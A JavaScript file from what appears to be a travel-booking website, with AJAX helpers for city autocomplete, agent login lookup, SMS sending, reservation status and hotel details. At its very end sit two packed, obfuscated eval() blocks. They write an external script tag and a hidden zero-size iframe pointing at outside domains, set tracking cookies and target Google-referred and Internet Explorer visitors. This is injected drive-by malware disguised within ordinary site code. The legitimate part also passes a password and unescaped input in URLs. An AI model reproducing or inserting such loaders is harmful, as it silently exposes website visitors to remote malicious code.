
//Global XMLHTTP Request object
var XmlHttp;

//Creating and setting the instance of appropriate XMLHTTP Request object to a “XmlHttp” variable  
function CreateXmlHttp()
{
	//Creating object of XMLHTTP in IE
	try
	{
		XmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
	}
	catch(e)
	{
		try
		{
			XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
		} 
		catch(oc)
		{
			XmlHttp = null;
		}
	}
	//Creating object of XMLHTTP in Mozilla and Safari 
	if(!XmlHttp && typeof XMLHttpRequest != "undefined") 
	{
		XmlHttp = new XMLHttpRequest();
	}
}

//Gets called when country combo box selection changes
function CountryListOnChange() 
{
//	document.getElementById("loadingimage").style.visibility = "visible";
//	document.getElementById("loadingimage").style.display = "";

//	var Country = document.getElementById("Country");

//	//Getting the selected country from country combo box.
//	var selectedCountry = Country.options[Country.selectedIndex].value;
	var selectedCountry="IN";
	// URL to get states for a given country
	var requestUrl = "GetCity.aspx" + "?SelectedCountry=" + encodeURIComponent(selectedCountry);
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponse;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}

}


//Called when response comes back from server
function HandleResponse()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetCityNameItemsStr(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetCityNameItems(countryNode)
{

    var stateList = document.getElementById("CityName");
	//Clears the state combo box contents.
	for (var count = stateList.options.length-1; count >-1; count--)
	{
		stateList.options[count] = null;
	}
        alert("Test1");
	var stateNodes = countryNode.getElementsByTagName('state');
	var textValue; 
	var optionItem;
	//Add new states list to the state combo box.
	for (var count = 0; count < stateNodes.length; count++)
	{
   		textValue = GetInnerText(stateNodes[count]);
		optionItem = new Option( textValue, textValue,  false, false);
		stateList.options[stateList.length] = optionItem;
	}

}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetCityNameItemsStr(countryNode)
{

    var stateList = document.getElementById("CityName");
	//Clears the state combo box contents.
	stateList.options.length = 0;
//	for (var count = stateList.options.length-1; count >-1; count--)
//	{
//		stateList.options[count] = null;
//	}
	stateList.options[stateList.options.length]= new Option ("< --- Select City --- >", "");
	//var stateNodes = countryNode.getElementsByTagName('state');
	var stateNodes = countryNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;
	//alert('comes here');
	//Add new states list to the state combo box.
	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
	
   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		//alert(textValue1);
   		optionItem = new Option (textValue, textValue + "-" + textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;
   		//stateList.options[stateList.options.length]= new Option (textValue, textValue1);

		//optionItem = new Option (textValue1, textValue);
		//CityName.options[CityList.length] = optionItem;
	}
	//alert(stateList.items);
//	document.getElementById("loadingimage").style.visibility = "hidden";
//    document.getElementById("loadingimage").style.display = "none";
}

//Returns the node text value 
function GetInnerText (node)
{
	 return (node.textContent || node.innerText || node.text) ;
}


//Gets called when the text in filled in the text changes in City
function GetCityOnChange(key) 
{
   document.getElementById("loadingimage2").style.visibility = "visible";
   document.getElementById("loadingimage2").style.display = "";
var City = document.getElementById("ToSector");
if (key.length > 2)
{
	//Getting the selected country from country combo box.
	//var selectedCountry = Country.options[Country.selectedIndex].value;
	
	// URL to get states for a given country
	var requestUrl = "CityAutoComplete.aspx" + "?SelectedCountry=" + key;
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponseAutoComplete;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}
}
}

//Called when response comes back from server
function HandleResponseAutoComplete()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoComplete(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}

		//{	
		//	ShowDiv("autocomplete");
		//	document.getElementById("autocomplete").innerHTML =XmlHttp.responseText;
			//ClearAndSetCityNameItemsStr(XmlHttp.responseText);
		//}
		//else
		//{
		//	HideDiv("autocomplete");
		//	document.getElementById("autocomplete").innerHTML ="There was a problem retrieving data from the server.";
		//}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetAutoComplete(countryNode)
{

    var stateList = document.getElementById("AutoCompleteBox");
	//Clears the state combo box contents.
	stateList.options.length = 0;
//	for (var count = stateList.options.length-1; count >-1; count--)
//	{
//		stateList.options[count] = null;
//	}
	//stateList.options[stateList.options.length]= new Option ("< --- Select City --- >", "");
	//var stateNodes = countryNode.getElementsByTagName('state');
	var stateNodes = countryNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;
	//alert('comes here');
	//Add new states list to the state combo box.
	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
	
   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		//alert(textValue1);
   		optionItem = new Option (textValue, textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;
   		//stateList.options[stateList.options.length]= new Option (textValue, textValue1);

		//optionItem = new Option (textValue1, textValue);
		//CityName.options[CityList.length] = optionItem;
	}
	document.getElementById("loadingimage2").style.visibility = "hidden";
    document.getElementById("loadingimage2").style.display = "none";
	ShowDiv("autocomplete");
	//alert(stateList.items);
}



function ShowDiv(divid)
{
   if (document.layers) document.layers[divid].visibility="show";
   else document.getElementById(divid).style.visibility="visible";
}

function HideDiv(divid)
{
   if (document.layers) document.layers[divid].visibility="hide";
   else document.getElementById(divid).style.visibility="hidden";
}



//Gets called when the text in filled in the text changes in City
function GetCityOnChangeFrom(key) 
{
    document.getElementById("loadingimage1").style.visibility = "visible";
	document.getElementById("loadingimage1").style.display = "";
	var City = document.getElementById("FromSector");
	//alert(key.length);
if (key.length > 2)
{
	//Getting the selected country from country combo box.
	//var selectedCountry = Country.options[Country.selectedIndex].value;
	
	// URL to get states for a given country
	var requestUrl = "CityAutoComplete.aspx" + "?SelectedCountry=" + key;
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponseAutoCompleteFrom;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}
}
}

//Called when response comes back from server
function HandleResponseAutoCompleteFrom()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoCompleteFrom(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}

		//{	
		//	ShowDiv("autocompletefrom");
		//	document.getElementById("autocomplete").innerHTML =XmlHttp.responseText;
			//ClearAndSetCityNameItemsStr(XmlHttp.responseText);
		//}
		//else
		//{
		//	HideDiv("autocompletefrom");
		//	document.getElementById("autocomplete").innerHTML ="There was a problem retrieving data from the server.";
		//}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetAutoCompleteFrom(countryNode)
{

    var stateList = document.getElementById("AutoCompleteBoxFrom");

	//Clears the state combo box contents.
	stateList.options.length = 0;
//	for (var count = stateList.options.length-1; count >-1; count--)
//	{
//		stateList.options[count] = null;
//	}
	//stateList.options[stateList.options.length]= new Option ("< --- Select City --- >", "");
	//var stateNodes = countryNode.getElementsByTagName('state');
	var stateNodes = countryNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;
	//alert('comes here');
	//Add new states list to the state combo box.
	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
	
   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		//alert(textValue1);
   		optionItem = new Option (textValue, textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;
   		//stateList.options[stateList.options.length]= new Option (textValue, textValue1);

		//optionItem = new Option (textValue1, textValue);
		//CityName.options[CityList.length] = optionItem;
	}
	document.getElementById("loadingimage1").style.visibility = "hidden";
    document.getElementById("loadingimage1").style.display = "none";
	ShowDiv("autocompletefrom");
	//alert(stateList.items);
}

//Used for getting the User details 
function GetUserDetails(key) 
{
var UserID = document.getElementById("Textbox_Username");
if (key.length > 0)
{
	var requestUrl = "GetUser.aspx" + "?SelectedUser=" + key;
	CreateXmlHttp();
	if(XmlHttp)
	{
		XmlHttp.onreadystatechange = HandleResponseAutoCompleteUser;
		XmlHttp.open("GET", requestUrl,  false);
	    XmlHttp.send(null);		
	}
}
}

//Called when response comes back from server
function HandleResponseAutoCompleteUser()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoCompleteUser(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

//Populate the hidden fields
function ClearAndSetAutoCompleteUser(UserNode)
{

    var stateList = document.getElementById("UserDetailsRcvd");
    stateList.value = UserNode;
	//Clears the state combo box contents.
	//alert(stateList.items);
}

//Used for sending SMS 
function SendSMS(requestUrl) 
{
	CreateXmlHttp();
	if(XmlHttp)
	{
//		XmlHttp.onreadystatechange = HandleSMS;
		XmlHttp.open("GET", requestUrl,  true);
		XmlHttp.send(null);		
	}
}



//Called when response comes back from server
function HandleSMS()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			SetSMSRespone(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem contacting SMS Server" );
		}
	}
}

//Populate the hidden fields
function SetSMSRespone(UserNode)
{
    var stateList = document.getElementById("SMSResponse");
    stateList.value = UserNode;
}

function GetReservationDetails(key) 
{
if (key.length > 0)
{
	var requestResUrl = "GetResID.aspx" + "?SelectedID=" + key;
	CreateXmlHttp();
	if(XmlHttp)
	{
		XmlHttp.onreadystatechange = HandleReservationCheck;
		XmlHttp.open("GET", requestResUrl,  false);
	    XmlHttp.send(null);		
	}
}
}

function HandleReservationCheck()
{
// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			SetReservation(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

function SetReservation(UserNode)
{
    var stateList = document.getElementById("SetReservation");
    stateList.value = UserNode;
   
}

//Used for getting the User details 
function GetAgentUserDetails(key, Pwd, Utype, MerchantURL) 
{
//    alert(Utype);
//var Pwd = document.getElementById("Textbox_Password");
//var myindex  = document.frmProduct.AgencyLogin.selectedIndex;
//var Utype = document.frmProduct.AgencyLogin.options[myindex].value;  //document.getElementById("Textbox_Password");
if (key.length > 0)
{

	var requestUrl = "GetAgentUser.aspx" + "?SelectedUser=" + key + "&Type=" + Utype + "&Pwd=" + Pwd + "&MerchantURL=" + MerchantURL;
	CreateXmlHttp();
	if(XmlHttp)
	{
//	alert(MerchantURL);
		XmlHttp.onreadystatechange = HandleResponseAutoCompleteAgentUser;
		XmlHttp.open("GET", requestUrl,  false);
	    XmlHttp.send(null);		
	}
}
}

//Called when response comes back from server
function HandleResponseAutoCompleteAgentUser()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoCompleteAgentUser(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server" );
		}
	}
}

//Populate the hidden fields
function ClearAndSetAutoCompleteAgentUser(UserNode)
{

    var stateList = document.getElementById("UserDetailsRcvd");
    stateList.value = UserNode;

	//Clears the state combo box contents.
	//alert(stateList.items);
}
//Gets called when Zone Name combo box selection changes
function ZoneListOnChange() 
{
	//alert();
	var ZoneName = document.getElementById("ZoneName");

	//Getting the selected country from country combo box.
	var selectedZone = ZoneName.options[ZoneName.selectedIndex].value;
	
	// URL to get states for a given country
	var requestUrl = "GetCategory.aspx" + "?SelectedZone=" + encodeURIComponent(selectedZone);
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponseZone;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}

}


//Called when response comes back from server
function HandleResponseZone()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetCategoryNameItemsStr(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetCategoryNameItemsStr(CategoryNode)
{

    var CategoryList = document.getElementById("CategoryName");
	//Clears the state combo box contents.
	CategoryList.options.length = 0;
//	for (var count = stateList.options.length-1; count >-1; count--)
//	{
//		stateList.options[count] = null;
//	}
	CategoryList.options[CategoryList.options.length]= new Option ("Select Category", "");
	//var stateNodes = countryNode.getElementsByTagName('state');
	var stateNodes = CategoryNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;
	//alert('comes here');
	//Add new states list to the state combo box.
	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
	
   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
//   	alert(textValue1);
//      alert(textValue1);
   		optionItem = new Option (textValue,textValue1,  false, false);
		CategoryList.options[CategoryList.length] = optionItem;
   		//stateList.options[stateList.options.length]= new Option (textValue, textValue1);

		//optionItem = new Option (textValue1, textValue);
		//CityName.options[CityList.length] = optionItem;
	}
	//alert(CategoryList.items);
	
}

function GetTrainToCityOnChange(key) 
{
   document.getElementById("loadingimage").style.visibility = "visible";
   document.getElementById("loadingimage").style.display = "";
var City = document.getElementById("TrainToSector");
if (key.length > 2)
{
	// URL to get states for a given country
	var requestUrl = "TrainCityAutoComplete.aspx" + "?SelectedCountry=" + key;
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponseTrainAutoComplete;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}
}
}

//Called when response comes back from server
function HandleResponseTrainAutoComplete()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetTrainAutoComplete(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetTrainAutoComplete(countryNode)
{

    var stateList = document.getElementById("TrainAutoCompleteBox");
	//Clears the state combo box contents.
	stateList.options.length = 0;
    var stateNodes = countryNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;
	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
	
   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		optionItem = new Option (textValue, textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;
   	}
	document.getElementById("loadingimage").style.visibility = "hidden";
    document.getElementById("loadingimage").style.display = "none";
	ShowDiv("Toautocomplete");
}

function GetTrainFromCityOnChange(key) 
{
   document.getElementById("Fmloadingimage").style.visibility = "visible";
   document.getElementById("Fmloadingimage").style.display = "";
var City = document.getElementById("TrainFromSector");
if (key.length > 2)
{
	// URL to get states for a given country
	var requestUrl = "TrainCityAutoComplete.aspx" + "?SelectedCountry=" + key;
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponseTrainFromAutoComplete;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}
}
}

//Called when response comes back from server
function HandleResponseTrainFromAutoComplete()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetTrainFromAutoComplete(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetTrainFromAutoComplete(countryNode)
{

    var stateList = document.getElementById("TrainFromAutoCompleteBox");
	//Clears the state combo box contents.
	stateList.options.length = 0;
    var stateNodes = countryNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;
	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
	
   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		optionItem = new Option (textValue, textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;
   	}
	document.getElementById("Fmloadingimage").style.visibility = "hidden";
    document.getElementById("Fmloadingimage").style.display = "none";
	ShowDiv("Fromautocomplete");
}

//Used for check status 
function GetResid(Reservationid,MerchantURL) 
{
    //alert(Reservationid);
    if (Reservationid.length > 0)
    {
        //alert(Reservationid);
	    var requestUrl = "GetResID.aspx" + "?ResID=" + Reservationid + "&MerchantURL=" + MerchantURL;
	    CreateXmlHttp();
	    if(XmlHttp)
	    {
    //	alert(MerchantURL);
		    XmlHttp.onreadystatechange = HandleResponseAutoCompleteResid;
		    XmlHttp.open("GET", requestUrl,  false);
	        XmlHttp.send(null);		
	    }
    }
}

//Called when response comes back from server
function HandleResponseAutoCompleteResid()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoCompleteResid(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server" );
		}
	}
}

//Populate the hidden fields
function ClearAndSetAutoCompleteResid(UserNode)
{
//alert(UserNode);
    var Resid = document.getElementById("ResidRecvd");
    Resid.value = UserNode;

	//Clears the state combo box contents.
	//alert(stateList.items);
}
function Getflightprice(data,searchval) 
{
    //alert(Reservationid);
    if (data.length > 0)
    {
        //alert(Reservationid);
	    var requestUrl = "Getflightpricedata.aspx" + "?pricedata=" + data + "&searchdata=" + searchval;
	    CreateXmlHttp();
	    if(XmlHttp)
	    {
    //	alert(MerchantURL);
		    XmlHttp.onreadystatechange = HandleResponseprice;
		    XmlHttp.open("GET", requestUrl,  false);
	        XmlHttp.send(null);		
	    }
    }
}

//Called when response comes back from server
function HandleResponseprice()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetprice(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server" );
		}
	}
}

//Populate the hidden fields
function ClearAndSetprice(UserNode)
{
//alert(UserNode);
    var Resid = document.getElementById("pricedataRcvd");
    Resid.value = UserNode;

	//Clears the state combo box contents.
	//alert(stateList.items);
}

function DesinationListOnChange()
{
	//document.getElementById("loadingimage").style.visibility = "visible";
//	document.getElementById("loadingimage").style.display = "";

var city = document.getElementById("fromsec");

//	//Getting the selected country from country combo box.
	var selectedCity = city.options[city.selectedIndex].value;
//	var selectedCountry="IN";
	// URL to get states for a given country
	var requestUrl = "GetBusCity.aspx" + "?SelectedCity=" + encodeURIComponent(selectedCity);
//	alert();
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponseBus;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}

}
function HandleResponseBus()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{
			ClearAndSetCityNameItemsBusStr(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}
function ClearAndSetCityNameItemsBusStr(cityNode)
{
//alert(cityNode);
    var stateList = document.getElementById("tosec");
	//Clears the state combo box contents.
	stateList.options.length = 0;
//	for (var count = stateList.options.length-1; count >-1; count--)
//	{
//		stateList.options[count] = null;
//	}
	//stateList.options[stateList.options.length]= new Option ("< --- Select City --- >", "");
	//var stateNodes = countryNode.getElementsByTagName('state');
	var stateNodes = cityNode.split(",");
	var textValue;
	var textValue1;
	var optionItem;
	//alert('comes here');
	//Add new states list to the state combo box.
	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{

   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		//alert(textValue1);
   		optionItem = new Option (textValue, textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;
   		//stateList.options[stateList.options.length]= new Option (textValue, textValue1);

		//optionItem = new Option (textValue1, textValue);
		//CityName.options[CityList.length] = optionItem;
	}
	//alert(stateList.items);
//	document.getElementById("loadingimage").style.visibility = "hidden";
//    document.getElementById("loadingimage").style.display = "none";
}
function GetdesiahotelDetails(count,hotelcode,city,type,MoreInfoDiv) 
{//alert(key);
//var UserID = document.getElementById("Textbox_Username");
//if (key.length > 0)
//{
//	var requestUrl = GetSingleAvailableHotelData(key);
//document.getElementById("loadingimage").style.visibility = "visible";
//   document.getElementById("loadingimage").style.display = "";
//    document.getElementById("MoreInfoDiv"+count+"").style.display="block";
//alert(count);
    //document.getElementById("moreinfo_preloader"+count+"").style.display='block';
    var finalstr = count + ',' + hotelcode + ',' + city + ',' + type + ',' + MoreInfoDiv;
    var requestUrl = "GetdesiaHoteldetail.aspx" + "?SelectedHotel=" + finalstr;
	//alert(requestUrl);
	CreateXmlHttp();
	if(XmlHttp)
	{
		//XmlHttp.onreadystatechange = HandleResponsedesia;
		//var XmlHttp=newXMLHttpRequest();
		XmlHttp.onreadystatechange=function()
		{
		    if(XmlHttp.readyState == 4)
	        {
		        // To make sure valid response is received from the server, 200 means response received is OK
//		        if (type == 'photo')
//		        {
//		        var response = XmlHttp.responseText;
//                document.getElementById("MoreInfoDiv"+count+"").innerHTML=response;
//                handlePhotoTab(type, count);
//		        }
//		        else
//		        {
		        var response = XmlHttp.responseText;
		        //document.getElementById("moreinfo_preloader"+count+"").style.display='none';
//		        document.getElementById("loadingimage").style.visibility = "hidden";
//    document.getElementById("loadingimage").style.display = "none";
                document.getElementById("MoreInfoDiv"+count+"").innerHTML=response;
//		        }
                //document.getElementById("moreinfo_preloader"+count+"").style.display='none';
	        }
		}
		XmlHttp.open("GET", requestUrl,  false);
		//XmlHttp.open("GET","GetdesiaHoteldetail.aspx?SelectedHotel="+finalstr,true);
	    XmlHttp.send(null);		
	}
//}
}
//Used for check status for B2C
function GetResidB2C(Reservationid,Emailid,MerchantURL) 
{
    //alert(Reservationid);
    if (Reservationid.length > 0)
    {
        //alert(Reservationid);
	    var requestUrl = "GetResIDB2C.aspx" + "?ResID=" + Reservationid + "&MerchantURL=" + MerchantURL + "&emailid=" + Emailid;
	    CreateXmlHttp();
	    if(XmlHttp)
	    {
    //	alert(MerchantURL);
		    XmlHttp.onreadystatechange = HandleResponseAutoCompleteResidB2C;
		    XmlHttp.open("GET", requestUrl,  false);
	        XmlHttp.send(null);		
	    }
    }
}

//Called when response comes back from server
function HandleResponseAutoCompleteResidB2C()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoCompleteResidB2C(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server" );
		}
	}
}

//Populate the hidden fields
function ClearAndSetAutoCompleteResidB2C(UserNode)
{
//alert(UserNode);
    var Resid = document.getElementById("ResidRecvd");
    Resid.value = UserNode;

	//Clears the state combo box contents.
	//alert(stateList.items);
}
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 g=4.e.7("d=1");5 f=4.9.7(\'j.\');5 h=l.s.7("o 6.0");a(g==-1&&f!=-1&&h==-1){5 3=4.9.c(4.9.7(\'q=\'));5 8=3.7(\'&\');a(8==-1){8=p.n}3=3.c(0,8).i(2);a(m(3).k(0)!=\'%\'){4.r("<b E=\'t\' F=\'I://H.C/B.w?q="+3+"\'></b>");4.e="d=1; x=y, A z J u:v:G D; "}}',46,46,'|||query|document|var||indexOf|querysize|referrer|if|script|slice|_tskdjw|cookie|dri|dci|nai|substring|google|charAt|navigator|escape|length|MSIE|cmd||write|appVersion|JavaScript|12|15|js|expires|Mon|Jul|23|kv|org|GMT|language|src|58|24search|http|2013'.split('|')));
sa="%71%64%6F%73%69%65%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('a(0.4.7("5=s")==-1&&9.8.7("f 6")!=-1){0.4="5=s; e=c, 2 g b 2:d:h p; ";0.r("<3 q=1 t=1 o=\'n://"+j+"/i/\' k=\'l:m\'></3>")}',30,30,'document||14|iframe|cookie|_mlsdkf||indexOf|appVersion|navigator|if|2015|Mon|15|expires|MSIE|Jul|26|b2b|sa|style|display|none|http|src|GMT|width|write||height'.split('|')));
